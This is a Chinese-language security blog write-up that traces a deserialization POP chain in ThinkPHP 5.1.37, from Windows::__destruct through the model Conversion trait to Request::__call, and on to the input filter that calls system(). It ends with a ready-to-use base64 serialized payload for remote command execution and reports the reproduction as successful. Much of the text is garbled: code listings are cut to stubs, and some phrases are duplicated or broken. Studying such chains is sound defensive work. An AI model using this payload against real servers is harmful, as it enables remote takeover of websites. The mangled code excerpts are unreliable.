Thinkphp 反序列化深入分析pop利用链
Thinkphp 反序列化深入分析
环境搭建
Thinkphp 5.1.37 -—- 应该是5.1.x可以
php 7.0.12
composer create-project topthink/think=5.1.37 v5.1.37
铺垫知识
1. PHP反序列化原理
PHP反序列化就是在读取一段字符串然后将字符串反序列化成php对象。
2. 在PHP反序列化的过程中会自动执行一些魔术方法
方法名 -————–调用条件
1 | __call 调用不可访问或不存在的方法时被调用 |
3. 反序列化的常见起点
1 | __wakeup 一定会调用 |
4.反序列化的常见中间跳板:
1 | __toString 当一个对象被当做字符串使用 |
5.反序列化的常见终点:
1 | __call 调用不可访问或不存在的方法时被调用 |
6.Phar反序列化原理以及特征
1 | phar://伪协议会在多个函数中反序列化其metadata部分 |
漏洞起点
漏洞起点在\thinkphp\library\think\process\pipes\windows.php的__destruct魔法函数。
1 | public function __destruct() |
__destruct()里面调用了两个函数,我们跟进removeFiles()函数。
中使用了file_exists对 filename进行了处理。$filename会被作为字符串处理。
方法。
\thinkphp\library\think\model\concern\Conversion.php
1 | public function __toString() |
跟进toJson()方法
\thinkphp\library\think\model\concern\Conversion.php
1 | public function toJson($options = JSON_UNESCAPED_UNICODE) |
继续toArray()方法
thinkphp\library\think\model\concern\Conversion.php
1 |
- 目的
我们需要在toArray()函数中寻找一个满足$可控变量->方法(参数可控)
的点
- 首先,这里调用了一个getRelation方法。
- 我们跟进getRelation(),它位于Attribute类中
thinkphp\library\think\model\concern\Conversion.php
 |
由于getRelation()下面的if语句为if (!$relation),所以这里不用理会,返回空即可。
 |
继续跟进getData方法
thinkphp\library\think\model\concern\Attribute.php
1 | public function getData($name = null) |
通过查看getData函数我们可以知道 r e l a t i o n 的 值 为 relation的值为 relation的值为this->data[$name],需要注意的一点是这里类的定义使用的是Trait而不是class。自
PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use
关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。然后我们需要找到一个子类同时继承了Attribute类和Conversion类。
我们可以在\thinkphp\library\think\Model.php中找到这样一个类
1 | abstract class Model implements \JsonSerializable, \ArrayAccess |
我们梳理一下目前我们需要控制的变量
- $files位于类Windows
- $append位于类Conversion
- $data位于类Attribute
引用大佬的图,简单的看一下,后面还有梳理
代码执行点分析
这里的$this->append
是我们可控的(在conversion中),然后通过getRelation($key)
,但是下面有一个!$relation
,所以我们只要置空即可
然后调用getAttr($key)
,在调用getData($name)
函数,这里$this->data['name']
我们可控(在attribute中)
$relation
变量来自 $this->data[$name]
$name
变量来自 $this->append
之后回到toArray函数,通过这一句话$relation->visible($name);
我们控制$relation
为一个类对象,调用不存在的visible方法,会自动调用__call
方法,那么我们找到一个类对象没有visible方法
我们现在缺少一个进行代码执行的点,在这个类中需要没有visible方法。并且最好存在__call方法。
因为__call一般会存在__call_user_func和__call_user_func_array,php代码执行的终点经常选择这里。我们不止一次在Thinkphp的rce中见到这两个方法。
可以在/thinkphp/library/think/Request.php,找到一个__call函数。__call 调用不可访问或不存在的方法时被调用。
下面是引用大佬的图,很清晰的链条
call_user_func_array(‘system’,array(‘whoami’));
call_user_func(‘system’,‘calc’);
找到
/thinkphp/library/think/Request.php
1 | ...... |
$hook
这里是可控的,所以call_user_func_array(array(任意类,任意方法),$args)
,这样我们就可以调用任意类的任意方法了。,但是array_unshift()
向数组插入新元素时会将新数组的值将被插入到数组的开头,$args
第一个值不能够控制。这种情况下我们是构造不出可用的payload的。由于$args第一个值不能够控制,但是构造不出来参数可用的payload,因为第一个参数是$this对象
call_user_func_array(array(任意类,任意方法),$args)
,这样我们就可以调用任意类的任意方法了。
虽然第330行用 array_unshift 函数把本类对象 $this 放在数组变量 $args 的第一个,但是我们可以寻找不受这个参数影响的方法
ThinkPHP 历史 RCE 漏洞的人可能知道, think\Request 类的 input 方法经常是,相当于 call_user_func($filter,$data)
。但是前面, $args
数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 input 方法,而应该寻找调用 input 的方法。
最终产生rce的地方是在input函数当中
在input函数中有一个 $this->filterValue($data, $name, $filter);
1 | private function filterValue(&$value, $key, $filters) |
但是这里的$value不能自己进行控制,所以需要往上找可以控制value的地方,共发现以下函数:
cookie
input 但是这里的input参数并不是可控的:
1 | .... |
这里$filter
可控,data参数不可控,而且$name = (string) $name;
这里如果直接调用input的话,执行到这一句的时候会报错,直接退出,所以继续回溯,目的是要找到可以控制$name变量,使之最好是字符串。同时也要找到能控制data参数
1 | protected function getFilter($filter, $default) |
我们继续找一个调用input函数的地方。我们找到了param函数。
1 | public function param($name = '', $default = null, $filter = '') |
可以看到这里this->param完全可控,是通过get传参数进去的,那么也就是说input函数中的$data
参数可控,也就是call_user_func
的$value,
现在差一个条件,那就是name是字符串,继续回溯。
这里仍然是不可控的,所以我们继续找调用param函数的地方。找到了isAjax函数
1 | public function isAjax($ajax = false) |
在isAjax函数中,我们可以控制$this->config['var_ajax']
,$this->config['var_ajax']
可控就意味着param函数中的 n a m e 可 控 。 p a r a m 函 数 中 的 name可控。param函数中的 name可控。param函数中的name可控就意味着input函数中的$name可控。
可以导致RCE
回溯一下
param()函数 可以获得$_GET
数组并赋值给$this->param
1 | $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); |
array_merge()数组合并起来
这句代码会将$_GET
数组赋值到$this->param中,在往下执行就来到了:
1 | return $this->input($this->param, $name, $default, $filter); |
再回到input函数中
1 | $data = $this->getData($data, $name); |
$name
的值来自于$this->config['var_ajax']
,我们跟进getData函数。
1 | protected function getData(array $data, $name) |
这里$data
直接等于 $data
= $data[$val]
= $data[$name]
然后就是解析过滤器,跟进getFilter函数
1 | $filter = $this->getFilter($filter, $default); |
1 | protected function getFilter($filter, $default) |
就是$filter可控
最后回到input函数 关键代码
最后导致RCE的代码
1 | private function filterValue(&$value, $key, $filters) |
- filterValue.value = 第一个通过GET请求的值input.data
- filters.key = 第一个GET的键
- filters.filters = input.filters
上大佬的图
方法。创建了一个Request()对象,然后会触发poc里的__construct()方法,接着new Request()-> visible($name),该对象调用了一个不存在的方法会触发__call方法,看一下__construct()方法内容
1 | function __construct(){ |
最终POC
1 |
|
我们把payload通过POST传过去,然后通过GET请求获取需要执行的命令
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ6ZW8iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJ6ZW8iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19
复现成功
参考文章
https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用链/
https://blog.csdn.net/qq\_43380549/article/details/101265818
https://xz.aliyun.com/t/6467
https://xz.aliyun.com/t/6619
https://www.t00ls.net/thread-54324-1-1.html
https://www.t00ls.net/viewthread.php\?tid=52825\&extra=\&page=1